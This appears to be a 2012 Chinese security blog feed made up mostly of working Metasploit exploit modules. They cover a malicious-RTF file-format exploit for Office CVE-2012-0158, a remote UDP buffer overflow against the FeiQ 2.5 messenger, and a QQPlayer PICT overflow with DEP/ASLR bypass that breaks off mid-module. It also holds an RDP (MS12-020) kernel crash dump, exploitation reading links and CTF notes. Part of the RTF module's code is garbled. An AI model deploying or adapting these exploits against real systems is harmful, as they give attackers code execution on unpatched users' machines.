CQ-CSER » 其他 http://cq-cser.cn 计算机爱好者 Wed, 02 May 2012 10:01:39 +0000 en hourly 1 http://wordpress.org/?v=3.0 simple version of 2012-0158 http://cq-cser.cn/2012/05/simple-version-of-2012-0158/ http://cq-cser.cn/2012/05/simple-version-of-2012-0158/#comments Wed, 02 May 2012 10:01:39 +0000 cq http://cq-cser.cn/?p=1573
  • feiq2008.2.5.0.0
  • QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
  • 2012
    • ]]>     前些日子写的。精简版
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # web site for more information on licensing and terms of use.
    # http://metasploit.com/
    ##

    require 'msf/core'

    class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::FILEFORMAT
    include Msf::Exploit::Seh

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'office cve-2012-0158 ',
    'Description' => %q{
    CVE-2012-0158 office version
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'XX ', # Original Exploit
    'hellok', # MSF Module
    ],
    'References' =>
    [
    [ 'EDB', ]
    ],
    'DefaultOptions' =>
    {
    'ExitFunction' => 'process',
    'InitialAutoRunScript' => 'migrate -f',
    },
    'Platform' => 'win',
    'Payload' =>
    {
    #'Space' => 200,
    #'BadChars' => "\x00\x0a\x0d\x1a\x80",
    #'DisableNops' => true,
    #'StackAdjustment' => -3500,
    },

    'Targets' =>
    [
    [ 'Windows XP',
    {
    'Ret' => "\x2f\x49",
    'Offset' => 4102,
    'Padding' => 1879
    }
    ],
    [ 'Windows 7',
    {
    'Ret' => "\x2f\x49",
    'Offset' => 4102,
    'Padding' => 1931
    }
    ],
    ],
    'Privileged' => false,
    'DisclosureDate' => '',
    'DefaultTarget' => 0))

    register_options(
    [
    OptString.new('FILENAME', [ false, 'The file name.', 'msf.rtf']),
    ], self.class)

    end

    def exploit

    head1="{\\rtf1
    {\\object\\objocx
    {\\*\\objdata
    01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E32000000000000000000000E0000
    D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFF0400000005000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000004BF0D1BD8B85D111B16A00C0F028362800000000ab9bDFB9340DCD018c49DFB9340DCD01030
    00000000600000000000003004F0062006A0049006E0066006F0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000060000000000000003004F00430058004E0041004D004500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000001000000160000000000000043006F006E00740065006E007400730000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012000200FFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000000000000000000000000000000000020000007E05000000000000FEFFFFFFFEFFFFFF030000000400000005000000060000000700000008000000090000000A0000000B0000000C0000000D0000000E0000000F0000001000000011000000120000001300000014000000150000001600000017000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF009203000400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004C0069007300740056006900650077004100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002143341208000000a50A0000050500004E087DEB010006001C000000000000000000000000060001560A000001EFCDAB00000500985D6501070000000800008005000080000000000000000000000000000000001FDEECBD010005009017190000000800000049746D7364
    "
    head2="00000002000000010000000C000000436F626A640000004141000041410000000000000000000000000000"
    jmp_esp="1245fa7f"
    buffer="909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090909090900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"
    head4="000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    }
    }
    }"
    print_status("buffer.length:#{buffer.length}")
    if payload.encoded.length > buffer.length
    print_status("Shellcode too long")
    else
    payload_buf = ''
    payload_buf << payload.encoded
    escaped_payload = Rex::Text.to_hex(payload_buf, prefix = "", count = 1)#to_unescape to_hex_ascii to_unicode hex_to_raw to_hex_dump
    buffer[16,escaped_payload.length]=escaped_payload
    print_status("escaped_payload.length:#{escaped_payload.length}")
    head1< head1< head1< head1< file_create(head1)
    end

    end
    end

    Related posts:

    1. feiq2008.2.5.0.0
    2. QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
    3. 2012

    ]]>     http://cq-cser.cn/2012/05/simple-version-of-2012-0158/feed/ 0     feiq2008.2.5.0.0 http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/ http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/#comments Sat, 07 Apr 2012 19:20:36 +0000 cq http://cq-cser.cn/?p=1565
  • simple version of 2012-0158
  • QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
  • Internet Explorer Aurora Exploit
    • ]]>     星期6的夜晚总是让人想到很多东西
    调了下飞秋2.5.0.0测试版
    可惜室友的64位WIN7没弹计算器。msf代码如下

    下载地址
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##

    require 'msf/core'

    class Metasploit3 < Msf::Exploit::Remote
    #Rank definition: http://dev.metasploit.com/redmine/projects/framework/wiki/Exploit_Ranking
    #ManualRanking/LowRanking/AverageRanking/NormalRanking/GoodRanking/GreatRanking/ExcellentRanking
    Rank = NormalRanking

    include Msf::Exploit::Remote::Udp
    include Msf::Exploit::Remote::Seh

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'feiQ2.5 remote buffer overflow',
    'Description' => %q{
    Provide information about the vulnerability / explain as good as you can
    Make sure to keep each line less than 100 columns wide
    0049D04E |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] ;
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'insert_name_of_person_who_discovered_the_vulnerability', # Original discovery
    'hellok', # MSF Module
    ],
    'References' =>
    [
    [ 'OSVDB', '' ],
    [ 'CVE', 'insert CVE number here' ],
    [ 'URL', '' ]
    ],
    'DefaultOptions' =>
    {
    'ExitFunction' => 'process', #none/process/thread/seh
    #'InitialAutoRunScript' => 'migrate -f',
    },
    'Platform' => 'win',
    'Payload' =>
    {
    'BadChars' => "", #
    'DisableNops' => true,
    },

    'Targets' =>
    [
    [ 'WIN7',
    {
    'Ret' => 0x0050511e,#{pivot 1484} # POP EBX # MOV DWORD PTR FS:[0],ECX # ADD ESP,5C8 # RETN
    'Offset' => 0
    }
    ],
    ],
    'Privileged' => false,
    #Correct Date Format: "M D Y"
    #Month format: Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec
    'DisclosureDate' => 'MONTH DAY YEAR',
    'DefaultTarget' => 0))

    register_options([Opt::RPORT(2425)], self.class)

    end

    def exploit

    connect_udp

    print_status("Trying target #{target.name}...")

    header = "1_lbt4_1#65664#6CF04987CC1A#570#31741#2147483648#2.5a:1317316152:admin:XXCCLI-A10D5C26:0:"
    jmp_esp = "\x12\x45\xfa\x7f" #0x7FFA4512 jmp esp
    padding="0"
    packet = "\x90"*7474
    packet[0,header.length] = header
    packet[408,8] = jmp_esp
    packet[408+8+8,payload.encoded.length] = payload.encoded
    packet << padding
    packet << [target.ret].pack("V") #SEH
    packet << [target.ret].pack("V") #SEH FUNC

    print_status("Trying target #{target.name}...")

    udp_sock.put(packet)

    handler
    disconnect_udp

    end
    end

    Related posts:

    1. simple version of 2012-0158
    2. QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
    3. Internet Explorer Aurora Exploit

    ]]>     http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/feed/ 1     利用技术整理 http://cq-cser.cn/2012/03/%e5%88%a9%e7%94%a8%e6%8a%80%e6%9c%af%e6%95%b4%e7%90%86/ http://cq-cser.cn/2012/03/%e5%88%a9%e7%94%a8%e6%8a%80%e6%9c%af%e6%95%b4%e7%90%86/#comments Tue, 20 Mar 2012 05:52:09 +0000 cq http://cq-cser.cn/?p=1559
  • android-adb-shell-cookie
  • Blogs, Feeds, Guides & Links[zz]
    • ]]>     1.LINUX空指针引用
    2.写00地址
    //TODO

    PDF:
    数据流：
    http://www.ccf.org.cn/sites/ccf/weekly/papers/王铁磊1.pdf

    flash:

    aslr bypass

    http://zhodiac.hispahack.com/my-stuff/security/Flash_ASLR_bypass.pdf

     

    http://kernelfun.blogspot.com/

    http://browserfun.blogspot.com/

    http://projects.info-pull.com/mokb/

    http://www.abysssec.com/blog/2010/09/01/moaub-1/

    Related posts:

    1. android-adb-shell-cookie
    2. Blogs, Feeds, Guides & Links[zz]

    ]]>     http://cq-cser.cn/2012/03/%e5%88%a9%e7%94%a8%e6%8a%80%e6%9c%af%e6%95%b4%e7%90%86/feed/ 0     2012-0002 http://cq-cser.cn/2012/03/2012-0002/ http://cq-cser.cn/2012/03/2012-0002/#comments Wed, 14 Mar 2012 16:18:22 +0000 cq http://cq-cser.cn/?p=1550
  • 2012
  • simple version of 2012-0158
  • darungrim
    • ]]>     更新：
    写一个可靠地POC真的很有挑战，有兴趣的周末有空可以试试

    同时看到个PYTHON的POChere,什么叫“chinese shit”,那不是一个文明人应该说的话。

    ANOTHER POC

    Microsoft (R) Windows Debugger Version 6.12.0002.633 X86
    Copyright (c) Microsoft Corporation. All rights reserved.

    Loading Dump File [C:\Windows\Minidump\031512-48641-01.dmp]
    Mini Kernel Dump File: Only registers and stack trace are available

    Symbol search path is: SRV*c:\sym*http://msdl.microsoft.com/download/symbols
    Executable search path is:
    Windows 7 Kernel Version 7600 MP (2 procs) Free x86 compatible
    Product: WinNt, suite: TerminalServer SingleUserTS
    Built by: 7600.16905.x86fre.win7_gdr.111025-1503
    Machine Name:
    Kernel base = 0×84813000 PsLoadedModuleList = 0x8495b810
    Debug session time: Thu Mar 15 00:09:37.977 2012 (UTC + 8:00)
    System Uptime: 0 days 4:51:31.285
    Loading Kernel Symbols
    ………………………………………………………
    ……………………………………………………….
    ……………………………………………………….
    ……
    Loading User Symbols
    Loading unloaded module list
    ………
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************

    Use !analyze -v to get detailed debugging information.

    BugCheck 1000008E, {c0000005, 939a0987, b43d9804, 0}

    *** WARNING: Unable to verify timestamp for Hookport.sys
    *** ERROR: Module load completed but symbols could not be loaded for Hookport.sys
    Probably caused by : termdd.sys ( termdd!IcaBufferAllocEx+1b )

    Followup: MachineOwner
    ———

    1: kd> k
    ChildEBP RetAddr
    b43d9884 a4a11232 termdd!IcaBufferAllocEx+0x1b
    b43d98a4 a4a2b405 RDPWD!WDICART_IcaBufferAllocEx+0×24
    b43d98c8 a4a2b46e RDPWD!StackBufferAllocEx+0x5c
    b43d98f4 a4a1c722 RDPWD!MCSDetachUserRequest+0×29
    b43d9908 a4a170ff RDPWD!NMDetachUserReq+0×14
    b43d9914 a4a1666c RDPWD!NM_Disconnect+0×16
    b43d9920 a4a1c821 RDPWD!SM_Disconnect+0×27
    b43d9930 a4a1c762 RDPWD!SM_OnConnected+0×70
    b43d9950 a4a174d3 RDPWD!NMAbortConnect+0×23
    b43d9990 a4a16f3c RDPWD!NM_Connect+0×68
    b43d99b0 a4a14f64 RDPWD!SM_Connect+0x11d
    b43d99ec a4a15764 RDPWD!WDWConnect+0×557
    b43d9a28 a4a108df RDPWD!WDLIB_TShareConfConnect+0xa0
    b43d9a3c 939a45f1 RDPWD!WDSYS_Ioctl+0x6c9
    b43d9a58 939a4aa9 termdd!_IcaCallSd+0×37
    b43d9a78 939a4f68 termdd!_IcaCallStack+0×57
    b43d9ac0 939a2e91 termdd!IcaDeviceControlStack+0×466
    b43d9af0 939a3065 termdd!IcaDeviceControl+0×59
    b43d9b08 8484f4bc termdd!IcaDispatch+0x13f
    b43d9b20 84a5144e nt!IofCallDriver+0×63
    b43d9b40 84a6e23f nt!IopSynchronousServiceTail+0x1f8
    b43d9bdc 84a70a1a nt!IopXxxControlFile+0x6aa
    b43d9c10 855d0e7d nt!NtDeviceIoControlFile+0x2a
    WARNING: Stack unwind information not available. Following frames may be wrong.
    b43d9d04 8485648a Hookport+0x4e7d
    b43d9d04 775d6194 nt!KiFastCallEntry+0x12a
    02f0e7e8 00000000 0x775d6194
    1: kd> r
    eax=0a0b05ff ebx=a431f8f0 ecx=00000151 edx=00640075 esi=0a0b05ff edi=d7abdb00
    eip=939a0987 esp=b43d9878 ebp=b43d9884 iopl=0 nv up ei pl nz na pe nc
    cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
    termdd!IcaBufferAllocEx+0x1b:
    939a0987 8b4618 mov eax,dword ptr [esi+18h] ds:0023:0a0b0617=????????
    1: kd> !analyze -v
    *******************************************************************************
    * *
    * Bugcheck Analysis *
    * *
    *******************************************************************************

    KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)
    This is a very common bugcheck. Usually the exception address pinpoints
    the driver/function that caused the problem. Always note this address
    as well as the link date of the driver/image that contains this address.
    Some common problems are exception code 0×80000003. This means a hard
    coded breakpoint or assertion was hit, but this system was booted
    /NODEBUG. This is not supposed to happen as developers should never have
    hardcoded breakpoints in retail code, but …
    If this happens, make sure a debugger gets connected, and the
    system is booted /DEBUG. This will let us see why this breakpoint is
    happening.
    Arguments:
    Arg1: c0000005, The exception code that was not handled
    Arg2: 939a0987, The address that the exception occurred at
    Arg3: b43d9804, Trap Frame
    Arg4: 00000000

    Debugging Details:
    ——————

    EXCEPTION_CODE: (NTSTATUS) 0xc0000005 – 0x%08lx

    FAULTING_IP:
    termdd!IcaBufferAllocEx+1b
    939a0987 8b4618 mov eax,dword ptr [esi+18h]

    TRAP_FRAME: b43d9804 — (.trap 0xffffffffb43d9804)
    ErrCode = 00000000
    eax=0a0b05ff ebx=a431f8f0 ecx=00000151 edx=00640075 esi=0a0b05ff edi=d7abdb00
    eip=939a0987 esp=b43d9878 ebp=b43d9884 iopl=0 nv up ei pl nz na pe nc
    cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206
    termdd!IcaBufferAllocEx+0x1b:
    939a0987 8b4618 mov eax,dword ptr [esi+18h] ds:0023:0a0b0617=????????
    Resetting default scope

    CUSTOMER_CRASH_COUNT: 1

    DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

    BUGCHECK_STR: 0x8E

    PROCESS_NAME: svchost.exe

    CURRENT_IRQL: 0

    LAST_CONTROL_TRANSFER: from a4a11232 to 939a0987

    STACK_TEXT:
    b43d9884 a4a11232 d7abdb00 00000000 00d800b1 termdd!IcaBufferAllocEx+0x1b
    b43d98a4 a4a2b405 d7abdb00 00000000 00d800b1 RDPWD!WDICART_IcaBufferAllocEx+0×24
    b43d98c8 a4a2b46e b7a30c88 d7abdb00 00000000 RDPWD!StackBufferAllocEx+0x5c
    b43d98f4 a4a1c722 c1edd270 00000010 a431f604 RDPWD!MCSDetachUserRequest+0×29
    b43d9908 a4a170ff a431f8f0 b43d9920 a4a1666c RDPWD!NMDetachUserReq+0×14
    b43d9914 a4a1666c a431f8f0 b43d9930 a4a1c821 RDPWD!NM_Disconnect+0×16
    b43d9920 a4a1c821 a431f604 a431f8f0 b43d9950 RDPWD!SM_Disconnect+0×27
    b43d9930 a4a1c762 a431f604 00000000 00000001 RDPWD!SM_OnConnected+0×70
    b43d9950 a4a174d3 a431f8f0 00000002 a431f604 RDPWD!NMAbortConnect+0×23
    b43d9990 a4a16f3c 0031f8f0 00000001 a431f3fe RDPWD!NM_Connect+0×68
    b43d99b0 a4a14f64 a431f604 89e8cdc0 89e8cdcc RDPWD!SM_Connect+0x11d
    b43d99ec a4a15764 a431f008 89e8ccdc 89e8cdc0 RDPWD!WDWConnect+0×557
    b43d9a28 a4a108df a431f008 00000000 87a11260 RDPWD!WDLIB_TShareConfConnect+0xa0
    b43d9a3c 939a45f1 a431f008 b43d9a98 8a6f0678 RDPWD!WDSYS_Ioctl+0x6c9
    b43d9a58 939a4aa9 87a11260 00000005 b43d9a98 termdd!_IcaCallSd+0×37
    b43d9a78 939a4f68 8a6f0670 00000005 b43d9a98 termdd!_IcaCallStack+0×57
    b43d9ac0 939a2e91 8a6f0670 86eb0798 86eb0808 termdd!IcaDeviceControlStack+0×466
    b43d9af0 939a3065 86eb0798 86eb0808 87a4a038 termdd!IcaDeviceControl+0×59
    b43d9b08 8484f4bc 87fe48f8 86eb0798 86eb0798 termdd!IcaDispatch+0x13f
    b43d9b20 84a5144e 87a4a038 86eb0798 86eb0808 nt!IofCallDriver+0×63
    b43d9b40 84a6e23f 87fe48f8 87a4a038 00000000 nt!IopSynchronousServiceTail+0x1f8
    b43d9bdc 84a70a1a 87fe48f8 86eb0798 00000000 nt!IopXxxControlFile+0x6aa
    b43d9c10 855d0e7d 00000754 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
    WARNING: Stack unwind information not available. Following frames may be wrong.
    b43d9d04 8485648a 00000754 00000000 00000000 Hookport+0x4e7d
    b43d9d04 775d6194 00000754 00000000 00000000 nt!KiFastCallEntry+0x12a
    02f0e7e8 00000000 00000000 00000000 00000000 0x775d6194

    STACK_COMMAND: kb

    FOLLOWUP_IP:
    termdd!IcaBufferAllocEx+1b
    939a0987 8b4618 mov eax,dword ptr [esi+18h]

    SYMBOL_STACK_INDEX: 0

    SYMBOL_NAME: termdd!IcaBufferAllocEx+1b

    FOLLOWUP_NAME: MachineOwner

    MODULE_NAME: termdd

    IMAGE_NAME: termdd.sys

    DEBUG_FLR_IMAGE_TIMESTAMP: 4a5bcadf

    FAILURE_BUCKET_ID: 0x8E_termdd!IcaBufferAllocEx+1b

    BUCKET_ID: 0x8E_termdd!IcaBufferAllocEx+1b

    Followup: MachineOwner
    ———

    Related posts:

    1. 2012
    2. simple version of 2012-0158
    3. darungrim

    ]]>     http://cq-cser.cn/2012/03/2012-0002/feed/ 1     FUNNY POSTS http://cq-cser.cn/2012/03/funny-posts/ http://cq-cser.cn/2012/03/funny-posts/#comments Fri, 02 Mar 2012 09:03:01 +0000 cq http://cq-cser.cn/?p=1544 http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/

    https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/

    内存补丁

    http://ifsec.blogspot.com/2011/06/memory-disclosure-technique-for.html

    信息泄露，基质查找技术

    通过覆盖JAVASRIPT内存结构的长度，完成读取不应该读取的内存

    http://leetmore.ctf.su/CODEGATE2012

    BIN500  2层VM解码+PYTHON解码。其实只用带一个就OK。。作者小粗心了下。。

    BIN400 好怀念，，此处为暴力模拟键盘，autohotkey script,nice！

    BIN300就是UNPACK+分析+识别

    for500 又见trid,参见mark0.net/soft-trid-e.html

    最近觉得BIN什么的也蛮好玩啦，VUL出题的话太难了。

    No related posts.

    ]]>     http://cq-cser.cn/2012/03/funny-posts/feed/ 1     2012 http://cq-cser.cn/2012/01/2012/ http://cq-cser.cn/2012/01/2012/#comments Sun, 15 Jan 2012 08:17:54 +0000 cq http://cq-cser.cn/?p=1540
  • 2012-0002
  • simple version of 2012-0158
    • ]]>     新年快到了，昨天到家了，整理下最近买的，强的，别人送的

    各种怀念啊！

    新年要有新计划，还是写下来约束力大点。

    1.OS,BROWSER,MUTIL PLAYER 3个重点方向要有成果

    2.完善理论，开发自用工具，向大虾学习。

    3.忘记一些东东，稳定下来，培养新习惯。

    4.实践新技术方向

    Related posts:

    1. 2012-0002
    2. simple version of 2012-0158

    ]]>     http://cq-cser.cn/2012/01/2012/feed/ 0     QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/ http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/#comments Mon, 21 Nov 2011 08:26:22 +0000 cq http://cq-cser.cn/?p=1531 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS', [...] Related posts:
    1. simple version of 2012-0158
    2. feiq2008.2.5.0.0
    3. 记事
    ]]>     http://cq-cser.cn/wp-content/plugins/downloads-manager/upload/qqplayer.rb
    样本：

    http://115.com/file/cl3naedv

    http://115.com/file/aqu3qzmk

    # Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS
    # Date: 2011,11,21
    # Author: hellok(warptencq[at]gmail.com)
    # Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe
    # Version: 32_845(lastest)
    # Tested on: WIN7
    require 'msf/core'
    class Metasploit3 < Msf::Exploit::Remote
    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
    super(update_info(info,
    'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',
    'Description' => %q{
    This module exploits a vulnerability in QQPLAYER Player 3.2.
    When opening a .mov file containing a specially crafted PnSize value, an attacker
    may be able to execute arbitrary code.
    },
    'License' => MSF_LICENSE,
    'Author' =>
    [
    'hellok', #special thank corelanc0d3r for 'mona'
    ],
    'References' =>
    [
    ],
    'DefaultOptions' =>
    {
    'EXITFUNC' => 'process',
    'DisablePayloadHandler' => 'true',
    },
    'Payload' =>
    {
    'Space' => 750,
    'BadChars' => "", #Memcpy
    'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
    'DisableNops' => 'True',
    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
    'EncoderOptions' =>
    {
    'BufferRegister' => 'ECX',
    },
    },
    'Platform' => 'win',
    'Targets' =>
    [
    [ 'Windows 7', { 'Ret' => 0x67664cde } ],
